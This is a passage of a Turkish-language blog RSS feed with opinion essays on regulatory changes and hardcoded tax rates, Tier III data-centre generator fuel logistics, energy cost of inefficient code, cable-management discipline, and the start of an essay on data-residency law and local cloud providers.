<p><strong>Türkiye'de çalışıyorsanız; hiçbir yasal oranı, hiçbir vergi kuralını ve hiçbir iş mantığını asla ve asla kodun içine sert bir şekilde gömmeyin (hardcoded yapmayın).</strong></p>
<p>Acemi geliştirici kodun içine yazar: <code>price * 1.18</code>.</p>
<p>Bilge bir Türk mühendisi ise bilir ki; o 18 rakamı her an 20 olabilir, 25 olabilir veya gecenin bir yarısı sıfırlanabilir.</p>
<p>Bu yüzden mimarisini; dinamik kural motorları (rule engine), konfigürasyon tabloları, versiyonlanmış vergi profilleri ve geçmişe dönük immutable kayıtlar üzerine kurar. Tek bir satır kodu yeniden derlemeden (recompile etmeden), sadece bir konfigürasyon değişikliğiyle tüm sistemi adapte edebilecek esnekliği ilk günden tasarlar.</p>
<h3>Mühendisin Çalınan Hafta Sonları</h3>
<p>Bütün bu teknik önlemlere rağmen, değişmeyen tek bir acı gerçek kalır: <strong>Mühendislerin çalınan hayatları.</strong></p>
<p>Bürokrasinin plansızlığı, kurumların eşgüdümsüzlüğü ve patronların ceza korkusu; her defasında o masanın başında uykusuz kalan 25 yaşındaki genç yazılımcıların sırtına yüklenir.</p>
<p>Türkiye'de yazılımcı olmak; sadece en son teknolojileri, en modern framework'leri takip etmek demek değildir. Türkiye'de yazılımcı olmak; her cuma gecesi Resmi Gazete'nin fırtınalarına karşı uyanık kalmak ve devletin anlık refleksleriyle yarışabilecek bir kardiyak dayanıklılığa sahip olmak demektir.</p>
<p>Ve o hafta sonu mesailerinin faturasını hiçbir maaş bordrosu tam olarak ödeyemez.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>resmi-gazete</category>
            <category>mevzuat-degisikligi</category>
            <category>fintek</category>
            <category>haftasonu-mesaisi</category>
            <category>turkiye-gercegi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cuma-gunu-yayinlanan-mevzuat-degisikligi-ve-yazilimcinin-hafta-sonu-mesaisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Tier III Sertifikası ve "Jeneratör Yettiği Kadar" Gerçekliği]]></title>
            <link>http://localhost:3000/blog/post/tier-iii-sertifikasi-ve-jenerator-yettigi-kadar-gercekligi</link>
            <guid>tier-iii-sertifikasi-ve-jenerator-yettigi-kadar-gercekligi</guid>
            <pubDate>Tue, 16 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Slaytlarda parlayan Tier III standartları, çift yedekli iklimlendirme koridorları ve yerel elektrik kesintisi uzadığında bidonla benzinlik arayan altyapı mühendisinin panik anı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/tier-iii-sertifikasi-ve-jenerator-yettigi-kadar-gercekligi/thumbnail" alt=""> Bir veri merkezi satış yöneticisinin veya kurumsal altyapı direktörünün müşteriye sunum yaparken gözlerinin en çok parladığı, ses tonunun en mağrur hale geldiği an şudur:</p>
<p><em>"Efendim, tesisimiz Uptime Institute tarafından tescillenmiş <strong>Tier III Standartlarında</strong> inşa edilmiştir. N+1 değil, tam 2N yedekli güç mimarimiz, birbirinden bağımsız çift elektrik besleme hattımız, yedekli jeneratör parkımız ve kesintisiz iklimlendirmemiz mevcuttur. Sistemlerimizin yıllık kesinti payı sadece 1.6 saattir, yani %99.982 kesintisizlik garanti ediyoruz."</em></p>
<p>Müşteri sunumdaki 3 boyutlu render çizimlerine, pırıl pırıl parlayan beyaz zeminlere ve devasa UPS akü odalarına hayranlıkla bakar. Sözleşme imzalanır. Sunucular kabinlere vidalanır.</p>
<p>Ancak Türkiye'de altyapı yönetmek; kağıt üzerindeki Amerikan standartlarıyla değil, bu coğrafyanın trafo patlamaları, kontrolsüz hafriyat kazıları ve aniden çökebilen enerji şebekesiyle yüzleşmek demektir.</p>
<p>Sıcak bir temmuz günü öğleden sonra saat 14:00. Şehir şebekesinde devasa bir trafo arızası meydana gelir.</p>
<p>Veri merkezinin elektriği kesilir. UPS aküleri devreye girer, 15 saniye sonra dışarıdaki dizel jeneratörler gürleyerek marş basar. Her şey kitaba uygundur; sistem pürüzsüzce jeneratör yüküne geçer.</p>
<p>Fakat aradan 4 saat geçer... 8 saat geçer... 14 saat geçer. Dağıtım şirketi arızayı giderememiştir. Jeneratörün ana yakıt tankındaki seviye göstergesi hızla kırmızı bölgeye inmektedir. Tankerdeki mazot bitmek üzeredir.</p>
<p>Ve tam o an; slaytlarda anlatılan o görkemli "Tier III felsefesi", yerini Türkiye'nin en çıplak gerçeğine bırakır: <strong>Mühendislerin bagajında plastik bidonlarla en yakın benzinliğe koşup mazot aradığı o ilkel hayatta kalma savaşına.</strong></p>
<h3>JCI Akreditasyonlu Hastanede Tükenen Oksijen Tüpleri</h3>
<p>Bu tablonun acil servisteki veya yoğun bakımdaki yansıması doğrudan ölümcüldür.</p>
<p>Uluslararası Sağlık Akreditasyonu (JCI) belgesine sahip, duvarları mermer kaplı lüks bir özel hastaneyi düşünün. Broşürlerinde en gelişmiş yaşam destek üniteleri, HEPA filtreli ameliyathaneler ve bağımsız medikal gaz santralleri övülmektedir.</p>
<p>Bir gece hastanenin sıvı oksijen tankında donma veya kaçak meydana gelir. Ana hat basıncı aniden düşer. Yoğun bakımdaki 20 entübe hasta mekanik ventilatörlerde havasız kalma tehlikesiyle karşı karşıyadır.</p>
<p>O an başhekimin veya müdürün duvardaki JCI sertifikasını okumasının hiçbir faydası yoktur.</p>
<p>Nöbetçi asistanlar ve anestezi teknisyenleri; panik içinde hastane bodrumuna koşar, elleriyle 50 kiloluk çelik yedek oksijen tüplerini taşımaya, manometreleri kurbağacık anahtarlarla sıkıştırmaya ve hastaların solunum devrelerine manuel ambu bağlayarak dakikalarca elle hava basmaya başlarlar.</p>
<p>Bir hastanenin gerçek kalitesi; lobisindeki piyano veya duvardaki akreditasyon belgesi değil, ana oksijen hattı koptuğunda sahadaki personelin yedek tüpü ne kadar sürede devreye alabildiğidir.</p>
<p>Veri merkezinde de durum aynıdır: Sunucuları ayakta tutan şey web sitenizdeki parlak Tier III logosu değildir; jeneratörün mazotu bittiğinde depoya ulaşacak yakıt tankerinin geliş hızıdır.</p>
<h3>Slaytlardaki 2N vs. Sahadaki Tek Mazot Tedarikçisi</h3>
<p>Tier III mimarisinin temel mantığı "eşzamanlı bakım yapılabilirlik" (concurrent maintainability) ve hiçbir tek hata noktasının (Single Point of Failure - SPOF) bulunmamasıdır.</p>
<p>Elektrik kablolarınız yedeklidir, trafolarınız çift girişlidir, UPS üniteleriniz A ve B yolları olarak ikiye ayrılmıştır.</p>
<p>Peki sahadaki o görünmeyen lojistik bağımlılıklar yedekli midir?</p>
<ol>
<li><strong>Tek Bir Akaryakıt Sözleşmesi:</strong> Şirketler jeneratör için bir akaryakıt dağıtım şirketiyle "Acil yakıt protokolü" imzalar. Ancak deprem, sel veya genel bir şehir elektrik kesintisinde o dağıtım firmasının tankerleri trafiğe takılır, yollar kapanır veya kendi dolum tesisinin pompaları elektriksiz kaldığı için yakıt basamaz!</li>
<li><strong>Kışın Donan Mazot:</strong> Doğu Anadolu'da veya kışın eksi 15 dereceye düşen Ankara gecelerinde; yakıt tankına antifrizli kışlık mazot koymayı unutan veri merkezinin jeneratör yakıt filtreleri parafinleşerek tıkanır. 2 milyon liralık jeneratör, 10 liralık yakıt katkısı konulmadığı için donup kalır.</li>
<li><strong>Yakıt Pompası Arızası:</strong> Ana yer altı deposundan jeneratörün günlük servis tankına mazot pompalayan basit bir 220V dalgıç pompanın sigortası atar. Yeraltında 10 ton mazotunuz vardır ama jeneratörün üstündeki 200 litrelik tank kuruduğu için motor stop eder.</li>
</ol>
<p>İşte mühendislik simülasyonları ile sahanın acımasız fiziği arasındaki uçurum tam olarak bu küçük detaylarda gizlidir.</p>
<h3>Sertifika Pazarlaması vs. Operasyonel Dayanıklılık</h3>
<p>Türkiye'deki veri merkezi ekosisteminde son yıllarda tehlikeli bir "sertifika fetişizmi" türedi.</p>
<p>Şirketler milyonlarca dolar harcayarak uluslararası denetçileri çağırıyor, bina projelerini onaylatıp Tier sertifikası alıyorlar. Bunu da müşteriye bir "asla çökmeyiz" garantisi gibi pazarlıyorlar.</p>
<p>Oysa Uptime Institute'un kendisi bile açıkça belirtir: <strong>Tier sertifikası binanın tasarım ve inşaat topolojisini belgeler; o tesisi işleten insanların operasyonel disiplinini, bakım kalitesini ve kriz anındaki reflekslerini garanti edemez.</strong></p>
<p>Eğer jeneratörün marş akülerini iki yıldır ölçmediyseniz, transfer şalterinin mekanik testini düzenli yapmadıysanız ve yakıt tankının dibinde biriken suyu tahliye etmediyseniz; dünyanın en pahalı Tier IV tesisinde bile elektrik kesildiğinde karanlığa gömülürsünüz.</p>
<h3>Gerçek Güvence Sahada Yazılır</h3>
<p>Altyapı mühendisliği, slaytlarda kusursuz görünen mimarilere körü körüne inanmamaktır.</p>
<p>Gerçek bir sistem yöneticisi veya tesis mühendisi; şebekenin her an kopabileceğini, jeneratörün marş basmayabileceğini ve mazot tankerinin gelmeyebileceğini hesaba katarak yaşayan insandır.</p>
<ul>
<li>Acil durum yakıt senaryolarınızı test edin.</li>
<li>Yılda en az bir kez şebeke şalterini bilerek indirip, sistemin tam yük altında jeneratöre geçişini canlı canlı izleyin.</li>
<li>Yerel akaryakıt istasyonlarıyla şahsi ilişkilerinizi ve alternatif tedarik rotalarınızı hazır tutun.</li>
</ul>
<p>Çünkü kriz anında sizi kurtaracak olan şey duvardaki parlak çerçeveli sertifikalar değil; depodaki mazotun temizliği, jeneratörün marş sesi ve elinde fenerle koşan o fedakar altyapı mühendisinin soğukkanlılığıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>veri-merkezi</category>
            <category>tier-3</category>
            <category>jenerator</category>
            <category>kesintisizlik</category>
            <category>altyapi-gercekligi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/tier-iii-sertifikasi-ve-jenerator-yettigi-kadar-gercekligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Elektrik Faturası Koddan Pahalıdır": Veri Merkezlerinin Gizli Maliyet Ortakları]]></title>
            <link>http://localhost:3000/blog/post/elektrik-faturasi-koddan-pahalidir-veri-merkezlerinin-gizli-maliyet-ortaklari</link>
            <guid>elektrik-faturasi-koddan-pahalidir-veri-merkezlerinin-gizli-maliyet-ortaklari</guid>
            <pubDate>Mon, 15 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yazılımcının ekrandaki milisaniyelere, veri merkezi işletmecisinin ise panodan çekilen kilovatsaate baktığı o derin uçurum; verimsiz kodun elektrik faturasıyla imtihanı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/elektrik-faturasi-koddan-pahalidir-veri-merkezlerinin-gizli-maliyet-ortaklari/thumbnail" alt=""> Modern bir yazılım geliştiricisinin çalışma masasına oturduğunda zihninde kurduğu dünya genellikle soyuttur:</p>
<p>Algoritmalar, tasarım kalıpları (design patterns), JSON nesneleri, asenkron fonksiyonlar ve Docker container'ları... Geliştirici kodu yazar, yerel bilgisayarında test eder, <code>git push</code> komutunu verir ve kahvesini yudumlar.</p>
<p>Eğer bir döngü biraz verimsiz yazılmışsa veya veritabanına indeks atmak yerine tüm tablo taranıyorsa (full table scan), geliştiricinin tepkisi genelde o meşhur rahatlık olur: <em>"Aman ne olacak canım, bulutta kaynak sınırsız, CPU yetmezse iki çekirdek daha açarız, bellek nasılsa ucuz."</em></p>
<p>Ancak o kod satırları derlenip veri merkezindeki fiziksel bir sunucunun silikon çiplerine ulaştığı anda, soyut yazılım dünyası biter; termodinamiğin, elektriğin ve acımasız fizik yasalarının dünyası başlar.</p>
<p>Yazılımcının "küçük bir dikkatsizlik" dediği o optimize edilmemiş sonsuz döngü veya N+1 veritabanı sorgusu; sunucudaki çift soketli 64 çekirdekli AMD EPYC veya Intel Xeon işlemcilerin tüm çekirdeklerini %100 yüke kilitler. İşlemcinin TDP (Termal Tasarım Gücü) değeri bir anda 280 Watt'tan 500 Watt'a fırlar.</p>
<p>Sunucunun anakartı, RAM blokları ve güç kaynakları şebekeden çılgınca amper çekmeye başlar.</p>
<p>Ve ay sonunda şirket yönetiminin önüne gelen fatura, o kodu yazan yazılımcının bir yıllık maaşını geride bırakan devasa bir elektrik ve soğutma faturasına dönüşür:</p>
<p><strong>"Elektrik faturası, kodun kendisinden pahalı hale gelmiştir."</strong></p>
<h3>Kalbe Aşırı Yüklenip Miyokardı Yoran Tedavi Hatası</h3>
<p>Bu fiziksel bedelin insan fizyolojisindeki ve yoğun bakımdaki karşılığı son derece nettir.</p>
<p>Kalp yetmezliği veya koroner arter hastalığı olan bir hastayı düşünün. Hekim hastanın tansiyonunu hızlıca yükseltmek veya idrar çıkışını artırmak için kontrolsüzce yüksek doz adrenalin ve aşırı serum yüklemesi yapar.</p>
<p>Kısa vadede monitörde tansiyon yükselmiş gibi görünür; hekim kendince "hastayı toparladım" sanır.</p>
<p>Oysa hastanın göğüs kafesinin içinde bir felaket pişmektedir: Kalp kası (miyokard), o yapay kimyasal baskı yüzünden dakikada 160 atımla delicesine çalışmakta, hücrelerin oksijen ihtiyacı tavan yapmaktadır. Koroner damarlar bu çılgın talebi karşılayamaz; kalp kası oksijensiz kalarak nekroza gider ve hasta masada kardiyak arreste girer.</p>
<p>Yazılımda da CPU'yu kontrolsüzce %100'e kilitleyen bir kod; sunucunun kalbini ve ciğerlerini aşırı oksijen tüketimine zorlayan o bilinçsiz tedaviye benzer. İşlemci sadece kendisi yanmakla kalmaz; çevresindeki tüm altyapı ekosistemini de beraberinde tüketir.</p>
<h3>PUE Çarpanı: Çekilen Her 1 Watt İçin Harcanan 1 Watt Daha!</h3>
<p>Yazılımcıların çoğu veri merkezlerinin enerji ekonomisindeki en kritik metriği bilmez: <strong>PUE (Power Usage Effectiveness - Güç Kullanım Verimliliği).</strong></p>
<p>PUE şu basit formülle hesaplanır:<br>
<code>Toplam Tesis Gücü / Bilişim Ekipmanı Gücü</code></p>
<p>İdeal bir dünyada bu oran 1.0 olmalıdır; yani çekilen tüm elektrik doğrudan sunuculara gitmelidir. Ancak gerçek hayatta, özellikle Türkiye'deki ortalama veri merkezlerinde PUE oranı <strong>1.5 ila 1.8</strong> arasındadır!</p>
<p>Bu ne anlama gelir?</p>
<p>Sizin yazdığınız verimsiz bir SQL sorgusu yüzünden sunucunuz fazladan <strong>10 kW</strong> elektrik çektiğinde; veri merkezi o sunucunun yaydığı termal ısıyı dışarı atabilmek için Hassas Klimalara (CRAC), chiller ünitelerine ve fanlara fazladan <strong>7 ila 8 kW</strong> elektrik harcamak zorundadır!</p>
<p>Yani sizin ekranda "küçük bir gecikme" olarak gördüğünüz o CPU yükü; veri merkezinin trafosunda iki katı büyüklüğünde bir enerji tüketimine, soğutma kompresörlerinin yıpranmasına ve binlerce kilovatsaatlik bir çevre kirliliğine yol açmaktadır.</p>
<h3>"Milisaniyeler vs. Kilovatsaatler" Uçurumu</h3>
<p>Yazılım mühendisliği eğitimi veren üniversitelerde öğrencilere algoritma karmaşıklığı (Big-O Notation) anlatılırken genelde "zaman karmaşıklığı" (Time Complexity) üzerinde durulur: <em>"Bu algoritma O(n) mi, O(n^2) mi çalışıyor?"</em></p>
<p>Fakat kimse şu soruyu sormaz: <strong>"Bu algoritmanın karbon ayak izi ve watt/saat maliyeti nedir?"</strong></p>
<ul>
<li>Kötü yazılmış bir regex (düzenli ifade) yüzünden CPU'nun Catastrophic Backtracking'e girmesi,</li>
<li>Bellekte tutulabilecek 5 KB'lık bir referans verisi için her HTTP isteğinde veritabanına gidip disk I/O'su yaptırmak,</li>
<li>Gereksiz mikroservis çağrılarıyla sunucuların ağ kartlarını ve serialization motorlarını ısıtmak...</li>
</ul>
<p>Bunların her biri birer mühendislik günahıdır.</p>
<p>Ve bu günahların bedeli artık sunucuların sınırsız olduğu Silikon Vadisi fantezileriyle ödenemez; Türkiye'de sanayi elektriğinin kilovatsaatinin her geçen gün zamlandığı o sert ekonomik gerçeklikle ödenir.</p>
<h3>Yeşil Kod (Green Coding) ve Mühendislik Ahlakı</h3>
<p>Mühendislik; bir problemi sadece "çalıştırmak" değil, o problemi <strong>en az enerji, en az kaynak ve en yüksek zarafetle çözebilme sanatıdır.</strong></p>
<p>Kıdemli bir mühendis olmanın eşiği; terminale yazdığı tek bir satır kodun veri merkezindeki soğutma kulelerinde kaç litre su buharlaştırdığını, panodaki kaç amperi tetiklediğini ve şirketin elektrik faturasını nasıl şişirdiğini hissedebildiği andır.</p>
<ul>
<li>Kodunuzu profillemeyi (profiling) alışkanlık haline getirin.</li>
<li>CPU döngülerini ve bellek tahsislerini (allocation) birer enerji tüketim kalemi olarak görün.</li>
<li>Veritabanı sorgularınızı indekslerle hafifletin; disk I/O'sunu ve CPU çekirdeklerini dinlendirin.</li>
</ul>
<p>Çünkü ekrandaki milisaniyeleri önemsemeyen bir yazılımcı; sadece kötü bir mühendis değil, veri merkezinin cebini ve gezegenin enerjisini sessizce kemiren görünmez bir maliyet ortağıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>veri-merkezi</category>
            <category>enerji-maliyeti</category>
            <category>pue</category>
            <category>kod-optimizasyonu</category>
            <category>donanim-verimliligi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/elektrik-faturasi-koddan-pahalidir-veri-merkezlerinin-gizli-maliyet-ortaklari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Kablo Cehennemi (Spaghetti Cabling) ve "Görünmeyen Altyapı Borcu"]]></title>
            <link>http://localhost:3000/blog/post/kablo-cehennemi-spaghetti-cabling-ve-gorunmeyen-altyapi-borcu</link>
            <guid>kablo-cehennemi-spaghetti-cabling-ve-gorunmeyen-altyapi-borcu</guid>
            <pubDate>Sun, 14 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[İlk gün cetvelle dizilen patch kablolarının gece yarıları takılan "geçici" hatlarla sarmaşığa dönüşmesi ve teknik borcun fiziksel dünyadaki somut heykeli.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kablo-cehennemi-spaghetti-cabling-ve-gorunmeyen-altyapi-borcu/thumbnail" alt=""> Bir veri merkezinin veya kurumsal bir sistem odasının kapısını açtığınızda görebileceğiniz en ibretlik manzara, kabinlerin arkasına geçtiğiniz o ilk andır.</p>
<p>Eğer tesis yeni kurulmuşsa; her şey bir sanat galerisi gibi tertemizdir. Mavi, sarı ve turuncu renk kodlu patch kabloları milimetrik kıvrımlarla kablo düzenleyicilerden (cable organizer) geçirilmiş, cırt cırtlı bantlarla (velcro) demetlenmiş, her iki ucu numaralandırılmış etiketlerle mühürlenmiştir. Fotoğrafını çekip LinkedIn'e koysanız binlerce beğeni alacak bir mühendislik zerafeti vardır.</p>
<p>Fakat aynı odaya aradan iki yıl geçtikten sonra girdiğinizde karşılaştığınız şey çoğu zaman bir sanat eseri değil; bir <strong>İtalyan spagetti tabağı cehennemidir.</strong></p>
<p>Kabinlerin önünden ve arkasından sarkan, birbirine kördüğüm olmuş yüzlerce metrelik kablo yığınları...</p>
<p>Sarı fiber kabloları ezen kalın siyah güç kabloları, etiketleri kopmuş veya üzerine tükenmez kalemle anlaşılmaz karalamalar yapılmış hatlar, sunucu kızaklarının arasından rastgele geçirilmiş ve kabin kapağının kapanmasını engelleyen derme çatma bağlantılar...</p>
<p>Herhangi bir sunucuyu kızaktan öne doğru çekmeye kalktığınızda, o kablo ormanı gerilir; yanlışlıkla komşu bir sunucunun güç fişini yerinden oynatır veya hassas bir fiber optik ucunu çıt diye kırar.</p>
<p>İşte yazılım dünyasında soyut kavramlarla anlattığımız <strong>"Teknik Borç" (Technical Debt)</strong> olgusunun fiziksel evrendeki somut, elle tutulur ve gözle görülür en acımasız heykeli bu kablo cehennemidir.</p>
<h3>Yoğun Bakımda Birbirine Düğümlenen İnfüzyon Hatları</h3>
<p>Bu altyapı karmaşasının acil servisteki veya yoğun bakım ünitesindeki yansıması ölümcül bir kabustur.</p>
<p>Politravma veya çoklu organ yetmezliğiyle yoğun bakımda yatan kritik bir hastayı düşünün. Hastanın vücuduna bağlı onlarca medikal hat vardır:</p>
<ul>
<li>Boynundaki santral venöz kateterden giren 4 farklı damar içi ilaç,</li>
<li>Sol koldaki periferik damar yolu,</li>
<li>Sağ koldaki invaziv arteriyel tansiyon izleme hattı,</li>
<li>Göğsündeki EKG elektrot kabloları,</li>
<li>Parmaktaki pulse oksimetre sensörü,</li>
<li>Solunum cihazının kalın plastik hortumları ve idrar sondası...</li>
</ul>
<p>Eğer o nöbetteki hemşireler ve sağlık personeli titiz davranmamış, o hatları serum askılarında renk kodlarına göre ayırmamış ve sabitlememişse; saatler içinde hastanın yatağının çevresi tam bir kablo ve hortum kördüğümüne döner.</p>
<p>Ve gece saat 03:00'te o hasta aniden kardiyak arreste (kalp durmasına) girdiğinde ne olur?</p>
<p>Hekim içeri fırlar: <em>"Acil 1 mg intravenöz adrenalin yapın!"</em></p>
<p>Hemşire panikle enjektörü eline alır; fakat hangi hattın hangi ilaca gittiğini, hangi lümenin açık olduğunu o düğümün içinde bulamaz! Kabloları çekiştirirken arteriyel hat yerinden çıkar, etrafa kan fışkırır. Adrenalin hastanın kalbine 20 saniye içinde ulaşması gerekirken; o kördüğümün içinde harcanan 3 dakika, hastanın geri dönüşümsüz beyin ölümüyle sonuçlanır.</p>
<p>Fiziksel karmaşa; kriz anında reaksiyon süresini öldüren en sinsi cellattır.</p>
<h3>"Yarın Düzenleriz" Yalanının Anatomisi</h3>
<p>Peki o pırıl pırıl kurulan sunucu kabinleri nasıl bu hale gelir?</p>
<p>Cevap, Türk iş hayatının ve mühendislik kültürümüzün en ölümcül cümlesinde yatar: <strong>"Şimdilik idareten takalım, yarın sabah mesai başladığında düzenleriz."</strong></p>
<p>Senaryo hep aynıdır:</p>
<ol>
<li><strong>Gece 02:15:</strong> Kritik bir switch portu yanar veya bir müşterinin sunucu bağlantısı kopar. Nöbetçi mühendis panikle yedek parça arar. Kablo kanalından düzgünce hat çekmeye üşenir; çünkü uykusuzdur ve sistemin acilen ayağa kalkması gerekmektedir.</li>
<li><strong>Geçici Çözüm:</strong> Depodan bulduğu 5 metrelik fazla uzun bir CAT6 kablosunu kabinin dışından, sunucuların ön yüzünden geçirerek doğrudan takar. Işıklar yeşile döner, sistem ayağa kalkar. Mühendis <em>"Tamam, sabah sakin kafayla bunu kanala alır, etiketini basarım"</em> diyerek evine gider.</li>
<li><strong>Unutulma Evresi:</strong> Sabah olduğunda yeni toplantılar, yeni Jira biletleri ve yeni krizler başlar. O "geçici" kablo orada kalır.</li>
<li><strong>Kaskat Yıkım:</strong> İki hafta sonra başka bir mühendis başka bir acil durum için bir kablo daha sallar. Üç ay sonra yeni bir sunucu eklenirken kablolar üst üste atılır.</li>
</ol>
<p>Ve bir yılın sonunda; kimsenin dokunmaya cesaret edemediği, hangi kablonun nereye gittiğini kimsenin bilmediği o dokunulmaz tabu yaratılmış olur.</p>
<h3>Spagetti Kod ile Spagetti Kablo Arasındaki Kardeşlik</h3>
<p>Bir şirketin veri merkezindeki kabin arkalarına bakın; o şirketin yazılım mimarisi hakkında tek bir satır kod görmeden kesin bir teşhis koyabilirsiniz.</p>
<ul>
<li>Eğer kabinlerin arkası dağınıksa, kablolar etiketlenmemişse ve geçici çözümler kalıcı hale gelmişse; o şirketin kod tabanı da <code>TODO: burayı sonra düzelteceğiz</code> yorumlarıyla dolu, testleri yazılmamış ve monolitik spagetti bloklarla boğulmuş bir çöplüktür.</li>
<li>Çünkü <strong>disiplin bölünemez bir karakterdir.</strong></li>
</ul>
<p>Fiziksel dünyada elindeki kabloyu doğru kanaldan geçirmeye, etiketini basmaya ve fazlalığını toplamaya üşenen bir mühendis; kod yazarken de fonksiyonunu modüler hale getirmeye, hata durumlarını yönetmeye ve dokümantasyon yazmaya üşenir.</p>
<p>Kabin arkasındaki karmaşa, o ekibin zihinsel dağınıklığının ve yönetimsel disiplinsizliğinin doğrudan 3 boyutlu bir projeksiyonudur.</p>
<h3>Kabloyu Toplamak Zihni Toplamaktır</h3>
<p>Altyapı mühendisliğinde profesyonellik; kriz anında bile o 5 dakikalık disiplinden ödün vermemektir.</p>
<ul>
<li><strong>Geçici kablo yoktur;</strong> her takılan hat ilk andan itibaren kalıcıymış gibi kanala yerleştirilmeli ve etiketlenmelidir.</li>
<li>Yan keskiyle kabloları boğan sert plastik kelepçeleri (zip-tie) çöpe atın; esnek, sökülüp takılabilen cırt cırtlı bantlar (velcro) kullanın.</li>
<li>Her kablonun uzunluğunu mesafesine göre özel sonlandırın (crimping yapın); 50 santimetrelik mesafeye 3 metrelik kablo kıvırıp kabin içine tıkıştırmayın.</li>
</ul>
<p>Unutmayın; kablo düzeni bir takıntı veya görsel lüks değildir.</p>
<p>Kriz anında doğru porta saniyeler içinde müdahale edebilmenin, yanlış kabloyu çekip şirketi karartmamanın ve mühendislik mesleğine duyulan saygının en temel fiziki göstergesidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>kablolama</category>
            <category>spagetti-kablo</category>
            <category>teknik-borc</category>
            <category>veri-merkezi</category>
            <category>altyapi-disiplini</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kablo-cehennemi-spaghetti-cabling-ve-gorunmeyen-altyapi-borcu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Veri Yerellik Yasası" (KVKK / BDDK) ve Yerli Cloud’un Varoluş Sınavı]]></title>
            <link>http://localhost:3000/blog/post/veri-yerellik-yasasi-kvkk--bddk-ve-yerli-cloudun-varolus-sinavi</link>
            <guid>veri-yerellik-yasasi-kvkk--bddk-ve-yerli-cloudun-varolus-sinavi</guid>
            <pubDate>Sat, 13 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Mevzuatın altın tepside sunduğu yerel müşteri havuzu, inovasyondan yoksun "sadece sanal sunucu kiralama" tembelliği ve yerli bulutun kaçırılan büyük fırsatı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/veri-yerellik-yasasi-kvkk--bddk-ve-yerli-cloudun-varolus-sinavi/thumbnail" alt=""> Son yıllarda Türkiye'deki teknoloji ve finans dünyasını kökten şekillendiren, Resmi Gazete'den çıkan en kritik yasal düzenlemelerden biri şüphesiz "Veri Yerelliği" (Data Residency) zorunluluğudur.</p>
<p>Kişisel Verileri Koruma Kurumu (KVKK), Bankacılık Düzenleme ve Denetleme Kurumu (BDDK), Türkiye Cumhuriyet Merkez Bankası (TCMB) ve Cumhurbaşkanlığı Dijital Dönüşüm Ofisi'nin yayımladığı genelgeler son derece açık ve tavizsiz bir sınır çizmiştir:</p>
<p><em>"Bankacılık, ödeme sistemleri, sağlık ve kamuya ait kritik veriler ile vatandaşların kişisel finansal kayıtları Türkiye Cumhuriyeti sınırları içindeki veri merkezlerinde barındırılmak zorundadır."</em></p>
<p>Bu yasa çıktığı gün; Türkiye'deki yerel veri merkezi işletmecileri ve bulut sağlayıcıları için gökten zembille inmiş muazzam bir nimet, tarihin en büyük pazar fırsatı doğdu.</p>
<p>Yıllardır Amazon Web Services (AWS), Google Cloud (GCP) veya Microsoft Azure'a milyonlarca dolar akıtan yerli bankalar, devasa e-ticaret platformları, sigorta şirketleri ve fintek girişimleri; ceza yememek ve lisanslarını kaybetmemek için gözlerini mecburen yerli sağlayıcılara çevirmek zorunda kaldılar.</p>
<p>Devlet, yerel teknoloji sermayesinin önüne aşılması imkansız bir koruma kalkanı örmüş, müşteriyi zorla onların kapısına yönlendirmişti.</p>
<p>Peki, aradan geçen yılların ardından yerli bulut sağlayıcıları bu altın fırsatla ne yaptı?</p>
<p>Gerçekten AWS'ye rakip modern, otonom, yönetilen (managed) bulut servisleri mi inşa ettiler? Yoksa bu yasal tekelin rehavetine kapılıp, müşteriyi <strong>"pahalı birer ham disk ve sanal sunucu kiralayıcısı"</strong> olarak görmeye devam mı ettiler?</p>
<p>Cevap ne yazık ki modern teknoloji tarihimizin en büyük hayal kırıklıklarından biridir.</p>
<h3>İthal İlaç Yasağı ve 50 Yıllık Aspirine Sığınan İlaç Fabrikası</h3>
<p>Bu tembelliğin tıp ve sağlık sektöründeki karşılığını çok iyi biliyoruz.</p>
<p>Devletin kamu bütçesini ve yerli sanayiyi korumak amacıyla yabancı kanser ve biyoteknoloji ilaçlarının ithalatına ağır kotalar veya yasaklar getirdiğini düşünün. Hekimlere ve hastanelere <em>"Artık yabancı ilaç alamayacaksınız, sadece yerli üreticiden temin edeceksiniz"</em> denmiştir.</p>
<p>Bu durum yerli ilaç sanayisi için ne olmalıdır? Laboratuvarlara kapanmak, biyokimyagerleri toplamak, Faz çalışmalarını başlatmak ve dünyanın en modern moleküllerini sentezlemek için tarihi bir motivasyon olmalıdır.</p>
<p>Peki yerli üretici ne yapar?</p>
<p>Nasılsa rekabet yok, nasılsa devlet müşteriyi mecbur kıldı diyerek; yeni hiçbir ilaç geliştirmeye bütçe ayırmaz. 50 yıllık ilkel aspirini allayıp pullar, kutusunu değiştirir ve kanser hastalarının önüne <em>"Yerli ve milli ilacımız budur, başka çareniz yok"</em> diye fahiş fiyattan koyar. Sonuç? Hasta modern tedaviden mahrum kalır, bilimsel gelişme durur ve koruma kalktığı gün o fabrika ilk rüzgarda iflas eder.</p>
<p>İşte Türkiye'deki yerli bulut ekosisteminin önemli bir kısmının düştüğü tuzak tam olarak bu ilaç fabrikası rehavetidir.</p>
<h3>Global Bulut Bir "Sunucu" Değil, Bir Ekosistemdir</h3>
